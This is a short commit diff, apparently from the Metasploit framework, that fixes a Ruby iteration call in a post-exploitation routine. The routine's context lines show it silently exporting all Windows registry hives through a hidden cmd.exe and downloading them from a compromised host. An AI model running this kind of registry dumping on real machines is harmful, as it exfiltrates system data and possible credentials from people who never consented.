swap each_line for each

git-svn-id: file:///home/svn/framework3/trunk@10437 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-09-22 22:23:23 +00:00
parent d9d0f8cc03
commit 291027ee1f
1 changed files with 2 additions and 2 deletions

View File

@ -421,7 +421,7 @@ def regdump(pathoflogs,filename)
hives = %w{HKCU HKLM HKCC HKCR HKU}
windir = @client.fs.file.expand_path("%WinDir%")
print_status('Dumping and Downloading the Registry')
hives.each_line do |hive|
hives.each do |hive|
begin
print_status("\tExporting #{hive}")
r = @client.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true})
@ -443,7 +443,7 @@ def regdump(pathoflogs,filename)
end
end
#Downloading compressed registry Hives
hives.each_line do |hive|
hives.each do |hive|
begin
print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab")
@client.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab")